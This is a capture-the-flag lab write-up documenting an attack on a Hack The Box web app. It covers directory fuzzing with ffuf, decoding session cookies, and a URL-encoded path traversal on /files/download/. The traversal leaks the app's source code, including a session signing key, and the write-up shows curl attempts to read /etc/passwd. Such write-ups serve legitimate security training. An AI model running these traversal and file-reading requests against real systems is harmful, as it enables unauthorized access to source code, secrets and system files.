Web
Nmap discovered a web server on the port 80
The running service is nginx 1.18.0
Webroot
The website appears to provide a file transfer service via uploading
Wappalyzer identified technologies involved.
It’s very much likely a Node app
The web root only has 2 transitive endpoints
Fuzzing
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://download.htb/FUZZ -ic -e .txt,.php,.js -fw 451
________________________________________________
:: Method : GET
:: URL : http://download.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .txt .php .js
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 451
________________________________________________
[Status: 302, Size: 33, Words: 4, Lines: 1, Duration: 92ms]
* FUZZ: home
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 89ms]
* FUZZ: static
[Status: 302, Size: 33, Words: 4, Lines: 1, Duration: 84ms]
* FUZZ: HOME
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 212ms]
* FUZZ: Static
:: Progress: [882188/882188] :: Job [1/1] :: 301 req/sec :: Duration: [0:50:46] :: Errors: 0 ::
Not much found.
Unauthenticated File upload
Testing the unauthenticated file uploading
It’s available at
/file/upload
The file seems to have been successfully uploaded and I am given a link for sharing
The link is for this exact page;
/view/e552b67e-a17b-45c5-91ac-2f816d63e875
The Download button seems to suggest that that is where the actual location of the upload file is
/files/download/e552b67e-a17b-45c5-91ac-2f816d63e875
This tells me that the uploaded files are re-named
Another interesting thing to note is that there are 2 cookies;
download_session
and download_session.sig
There also seems to be a file size filter
A few additional testings with different extensions
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91ciBmaWxlIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuIl19fQ==' | base64 -d
{"flashes":{"info":[],"error":[],"success":["Your file was successfully uploaded."]}}
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'kTGp5oEdDuQmHT8nWM_jJexbhho' | base64 -d
�1���&?'xbase64: invalid input
While the download_session
cookie is a JSON data encoded in base64 string that gives out some information, I couldn’t figure out the other cookie; download_session.sig
, but I’d assume that it’s got to do with encryption and its signature based on its extension
Authentication
The Login button leads to the authentication page
There is the Register Here button
Creating a testing account;
tester
:qwe123
The POST data is very much straight forward with 2 parameters;
username
and password
Now that I am authenticated, I am taken to
/home/
and it shows the uploaded files
There’s obviously none since the account was just created, but I’d assume that files are saved if uploaded through an authenticated session as opposed to the unauthenticated file upload that seems to remove the uploaded files periodically
Authenticated File Upload
The file uploading feature via an authenticated session differs from the unauthenticated session as it takes the additional parameter
to mark the uploaded file as private to only be downloadable by the uploader
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTgsInVzZXJuYW1lIjoidGVzdGVyIn19' | base64 -d
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":18,"username":"tester"}}
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91ciBmaWxlIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuIl19LCJ1c2VyIjp7ImlkIjoxOCwidXNlcm5hbWUiOiJ0ZXN0ZXIifX0=' | base64 -d
{"flashes":{"info":[],"error":[],"success":["Your file was successfully uploaded."]},"user":{"id":18,"username":"tester"}}
While the file upload is successful, decoding the download_session
cookie reveals some additional information
It seems the current testing account, tester
, has id
set to 18
I’d assume there are either 17 or 18 other users prior (18 if id=0
exists)
The uploaded file is indeed marked as (Privated)
Both the page itself and the download link are not accessible from an unauthenticated session
Access control is likely enforced through those cookies
LFI? or File Read
I found out that there is something unusual happening at the endpoint; /files/download/
As discovered earlier, the endpoint serves uploaded files for download and I initially believed that /files/download/
is an actual directory that those uploaded are re-named and saved to.
However, this doesn’t seem to be the case as the other endpoint, /files/view/
, also shows those re-named files.
So a new theory came up that those what-thought-to-be-filenames aren’t re-named filenames, but just variables. Much like pointers in C/C++.
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://download.htb/files/download/..%2FFUZZ -ic -e .js -fw 451
________________________________________________
:: Method : GET
:: URL : http://download.htb/files/download/..%2FFUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .js
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 451
________________________________________________
[Status: 200, Size: 2168, Words: 226, Lines: 50, Duration: 92ms]
* FUZZ: app.js
:: Progress: [441094/441094] :: Job [1/1] :: 125 req/sec :: Duration: [0:31:28] :: Errors: 0 ::
Fuzzing the endpoint, /files/download/
WITH ..%2F
, which is ../ encoded in URL format, reveals a file; app.js
Interestingly, ../ didn’t workout as there likely is a security measure in place.
Additionally, fuzzing was done UNAUTHENTICATED
In an Express.js web application, app.js
is a common filename used for the main application file that sets up and configures the Express framework
I can confirm that with curl
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ curl 'http://download.htb/files/download/..%2Fapp.js'
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
autoescape: true,
express: app,
noCache: true,
});
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
console.log("Listening on ", port);
if (process.env.NODE_ENV === "production") {
setTimeout(async () => {
await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
}, 300000);
}
});
This is the app.js
file, source code of the target web application.
The endpoint, /files/download/
, doesn’t seem to have any form of input sanitization, resulting local file inclusion to download whatever supplied to it. (still considered to be LFI since execution itself is to “download” ONLY through /files/download/
? rather than LFI code execution in PHP)
This gives an attacker opportunity to enumerate the target web application by reading the source code
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2Fetc%2Fpasswd'
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
Unable to LFI to the /etc/passwd
file
The LFI seems to be LIMITED to the web environment ONLY.